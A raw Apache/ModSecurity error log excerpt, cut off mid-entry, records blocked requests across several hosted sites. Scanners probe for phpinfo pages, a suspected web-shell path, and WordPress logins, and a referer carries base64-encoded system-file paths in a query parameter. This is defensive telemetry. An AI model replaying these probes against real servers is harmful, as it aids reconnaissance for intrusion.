https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L2lk [Sat Jun 13 18:13:19.466836 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L2lk [Sat Jun 13 18:13:19.468847 2026] [security2:error] [pid 531155:tid 531164] [remote 17.22.253.190:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 190.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yHymiP80klyS0NnoNuAABIQg"] [Sat Jun 13 18:13:19.502839 2026] [security2:error] [pid 531155:tid 531167] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/php-info.php"] [unique_id "ai3yHymiP80klyS0NnoNvAABaws"] [Sat Jun 13 18:13:19.590042 2026] [security2:error] [pid 531155:tid 531240] [remote 17.241.75.151:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 151.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yHymiP80klyS0NnoNwQABhFQ"] [Sat Jun 13 18:13:19.634603 2026] [security2:error] [pid 531155:tid 531205] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/php_info.php"] [unique_id "ai3yHymiP80klyS0NnoNwwABDDE"] [Sat Jun 13 18:13:19.670371 2026] [security2:error] [pid 531155:tid 531303] [client 77.68.83.86:63894] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.joeharrod.com"] [uri "/wp-content/plugins/plugins/cache.php"] [unique_id "ai3yHymiP80klyS0NnoNxwAAARw"], referer: www.google.com [Sat Jun 13 18:13:19.686829 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.37:50750] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:19.687270 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.37:50750] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:19.746765 2026] [access_compat:error] [pid 531155:tid 531173] [remote 57.141.14.16:38786] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:19.747088 2026] [access_compat:error] [pid 531155:tid 531173] [remote 57.141.14.16:38786] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:19.766462 2026] [security2:error] [pid 531155:tid 531156] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/info/php.php"] [unique_id "ai3yHymiP80klyS0NnoNzAABTQA"] [Sat Jun 13 18:13:19.813993 2026] [security2:error] [pid 531155:tid 531201] [remote 162.254.36.150:52376] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.36.254.162.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "beetreemuseum.com"] [uri "/wp-login.php"] [unique_id "ai3yHymiP80klyS0NnoN0AABgi0"] [Sat Jun 13 18:13:19.898340 2026] [security2:error] [pid 531155:tid 531272] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/info/info.php"] [unique_id "ai3yHymiP80klyS0NnoN0gABEXQ"] [Sat Jun 13 18:13:19.938740 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:13:19.939032 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:13:20.030273 2026] [security2:error] [pid 531155:tid 531283] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/info/phpinfo.php"] [unique_id "ai3yICmiP80klyS0NnoN3gABNX8"] [Sat Jun 13 18:13:20.080309 2026] [security2:error] [pid 531155:tid 531267] [remote 162.254.36.150:52376] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.36.254.162.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "beetreemuseum.com"] [uri "/wp-login.php"] [unique_id "ai3yICmiP80klyS0NnoN5gABMW8"], referer: https://beetreemuseum.com/wp-login.php [Sat Jun 13 18:13:20.162313 2026] [security2:error] [pid 531155:tid 531196] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/phpinfo/info.php"] [unique_id "ai3yICmiP80klyS0NnoN6gABICg"] [Sat Jun 13 18:13:20.294176 2026] [security2:error] [pid 531155:tid 531220] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/phpinfo/test.php"] [unique_id "ai3yICmiP80klyS0NnoN9gABiEA"] [Sat Jun 13 18:13:20.337896 2026] [security2:error] [pid 531155:tid 531197] [remote 57.141.14.108:55397] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 108.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yICmiP80klyS0NnoN-gABhyk"], referer: https://nelsonfarmstn.com/product/8-oz-sugar-scrub/?add_to_wishlist=894&_wpnonce=dacad5c21f&add-to-cart=22747 [Sat Jun 13 18:13:20.353030 2026] [security2:error] [pid 531155:tid 531407] [client 77.68.83.86:64018] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.joeharrod.com"] [uri "/assets/images/images/cache.php"] [unique_id "ai3yICmiP80klyS0NnoN-wAAAYQ"], referer: www.google.com [Sat Jun 13 18:13:20.426694 2026] [security2:error] [pid 531155:tid 531214] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/server-info.php"] [unique_id "ai3yICmiP80klyS0NnoN_wABTzo"] [Sat Jun 13 18:13:20.480439 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDE= [Sat Jun 13 18:13:20.480893 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDE= [Sat Jun 13 18:13:20.558392 2026] [security2:error] [pid 531155:tid 531266] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/server_info.php"] [unique_id "ai3yICmiP80klyS0NnoODAABEW4"] [Sat Jun 13 18:13:20.630178 2026] [access_compat:error] [pid 531155:tid 531279] [remote 57.141.14.54:48985] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:20.630641 2026] [access_compat:error] [pid 531155:tid 531279] [remote 57.141.14.54:48985] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:20.648554 2026] [security2:error] [pid 531155:tid 531232] [remote 17.241.75.161:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 161.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yICmiP80klyS0NnoOFAABKkw"] [Sat Jun 13 18:13:20.690361 2026] [security2:error] [pid 531155:tid 531159] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/tests/phpinfo.php"] [unique_id "ai3yICmiP80klyS0NnoOGwABZgM"] [Sat Jun 13 18:13:20.816670 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.47:51058] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:20.817164 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.47:51058] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:20.822692 2026] [security2:error] [pid 531155:tid 531278] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/tests/info.php"] [unique_id "ai3yICmiP80klyS0NnoOJQABF3o"] [Sat Jun 13 18:13:20.954472 2026] [security2:error] [pid 531155:tid 531222] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/admin/phpinfo.php"] [unique_id "ai3yICmiP80klyS0NnoOLAABbUI"] [Sat Jun 13 18:13:20.983347 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9kcml2ZXIvcGNzcGtyL3Bvd2Vy [Sat Jun 13 18:13:20.983634 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9kcml2ZXIvcGNzcGtyL3Bvd2Vy [Sat Jun 13 18:13:21.086719 2026] [security2:error] [pid 531155:tid 531242] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/admin/info.php"] [unique_id "ai3yISmiP80klyS0NnoONAABGlY"] [Sat Jun 13 18:13:21.117767 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.19:34514] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:21.118047 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.19:34514] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:21.218410 2026] [security2:error] [pid 531155:tid 531255] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/admin/php.php"] [unique_id "ai3yISmiP80klyS0NnoOOwABTWM"] [Sat Jun 13 18:13:21.232967 2026] [security2:error] [pid 531155:tid 531199] [remote 17.246.19.109:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yISmiP80klyS0NnoOPAABTCs"] [Sat Jun 13 18:13:21.350192 2026] [security2:error] [pid 531155:tid 531254] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/admin/php_info.php"] [unique_id "ai3yISmiP80klyS0NnoORAABVmI"] [Sat Jun 13 18:13:21.450675 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2U= [Sat Jun 13 18:13:21.451114 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2U= [Sat Jun 13 18:13:21.482179 2026] [security2:error] [pid 531155:tid 531211] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/admin/php-info.php"] [unique_id "ai3yISmiP80klyS0NnoOTgABRTc"] [Sat Jun 13 18:13:21.614309 2026] [security2:error] [pid 531155:tid 531218] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/administrator/phpinfo.php"] [unique_id "ai3yISmiP80klyS0NnoOWQABLz4"] [Sat Jun 13 18:13:21.654202 2026] [security2:error] [pid 531155:tid 531216] [remote 17.22.237.248:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 248.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yISmiP80klyS0NnoOWwABVTw"] [Sat Jun 13 18:13:21.704197 2026] [security2:error] [pid 531155:tid 531173] [remote 17.241.219.114:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 114.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yISmiP80klyS0NnoOXQABOBE"] [Sat Jun 13 18:13:21.711255 2026] [access_compat:error] [pid 531155:tid 531156] [remote 57.141.14.98:59444] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:21.711534 2026] [access_compat:error] [pid 531155:tid 531156] [remote 57.141.14.98:59444] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:21.746541 2026] [security2:error] [pid 531155:tid 531201] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: 